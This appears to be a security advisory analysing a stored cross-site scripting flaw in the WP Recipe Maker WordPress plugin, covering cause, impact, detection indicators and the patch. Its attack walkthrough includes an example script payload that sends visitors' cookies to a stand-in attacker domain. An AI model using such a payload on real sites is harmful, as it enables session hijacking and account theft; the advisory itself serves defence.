CVE-2026-90884: 
WordPress vulnerability analysis and mitigation

CVE-2026-90884 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker plugin for WordPress, affecting all versions up to and including 10.8.1. The flaw exists in the notes parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into pages. The vulnerability was published on September 18, 2026, and assigned by Wordfence. It carries a CVSS v3.1 base score of 5.4 (Medium) (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability arises because the notes parameter in WP Recipe Maker does not properly sanitize user-supplied input before storing it, nor does it escape the output when rendering it in the browser. An authenticated attacker with at least Contributor-level WordPress access can craft a malicious recipe note containing JavaScript, which is then stored in the database and executed in the context of any user's browser when they visit a page containing the injected recipe. No public proof-of-concept exploit code has been identified at this time (Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of site visitors who view an affected page, impacting both confidentiality and integrity (CVSS C:L/I:L/A:N). Potential consequences include session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or delivery of further malware payloads to site visitors. Because the injected script persists in the database and executes for every user who views the compromised page, the blast radius can extend to all visitors — including administrators — amplifying the risk of privilege escalation or account takeover (Wordfence).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported as of the publication date. The EPSS score is 0.0, indicating a currently low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities, but is still a realistic threat on multi-author WordPress sites (Wordfence).

1. Reconnaissance: Identify WordPress sites running WP Recipe Maker version 10.8.1 or earlier, using tools like WPScan or by inspecting plugin metadata in page source.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft Malicious Payload: Create or edit a recipe and insert a JavaScript payload into the notes field, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>.
4. Submit and Store: Save the recipe, causing the malicious script to be stored in the WordPress database without proper sanitization.
5. Trigger Execution: When any user (including administrators) visits a page that renders the injected recipe note, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to recipe creation/editing endpoints (e.g., /wp-admin/post.php or REST API endpoints for WP Recipe Maker) from Contributor-level accounts containing script tags or encoded JavaScript in the notes parameter.
• Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., <script>) stored in the wprm_notes or related WP Recipe Maker database fields.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing WP Recipe Maker recipe blocks, potentially indicating data exfiltration.
• File System: No direct file system artifacts expected for stored XSS, but monitor for newly created or modified PHP files in the WordPress uploads or plugin directories that could indicate follow-on compromise.

Users should update the WP Recipe Maker plugin to version 10.8.2 or later, which addresses the insufficient sanitization of the notes parameter (patch available via the WordPress plugin repository changeset) (WordPress Changeset). As an interim workaround, site administrators should restrict Contributor-level user registration and audit existing Contributor accounts for suspicious recipe content. Enabling a Web Application Firewall (WAF) with XSS filtering rules — such as those provided by Wordfence — can help detect and block exploitation attempts while patching is pending (Wordfence).